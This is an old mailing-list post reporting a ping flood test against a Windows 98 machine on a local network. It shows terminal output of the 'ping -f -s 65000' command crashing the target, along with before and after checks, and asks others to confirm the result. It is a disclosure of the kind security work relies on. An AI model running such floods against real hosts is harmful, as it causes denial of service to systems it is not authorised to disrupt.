Pingflood attack against Windows98 - The Test

[fboliva () SAFENETWORKS COM (Fabio Bastiglia Oliva)]

Hello all,

         This is what is happening when I ping flood a Windows98 from a
Linux Slackware 3.6 (Kernel 2.0.36).


-Before the attack-

linux:~# ping 192.168.1.4
PING 192.168.1.4 (192.168.1.4): 56 data bytes
64 bytes from 192.168.1.4: icmp_seq=0 ttl=128 time=0.5 ms
64 bytes from 192.168.1.4: icmp_seq=1 ttl=128 time=0.5 ms

--- 192.168.1.4 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0.5/0.5/0.5 ms


-The Attack-

linux:~# ping -f -s 65000 192.168.1.4
PING 192.168.1.3 (192.168.1.4): 65000 data bytes
.......................................................................
...................................................../*After lots of
little dots... Windows98 Rebooted*/...<CTRL+C>

--- 192.168.1.4 ping statistics ---
11440 packets transmitted, 228 packets received, 98% packet loss
round-trip min/avg/max = 0.6/32.0/64.2 ms


-After the attack-

linux:~# ping 192.168.1.4
PING 192.168.1.4 (192.168.1.4): 56 data bytes

--- 192.168.1.4 ping statistics ---
4 packets transmitted, 0 packets received, 100% packet loss

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        It's what's happening here... Anyone of you got the same
results?

Best Regards
--------------------------------
Fabio Bastiglia Oliva - Director
fboliva () safenetworks com

Safe Networks Informatica LTDA.
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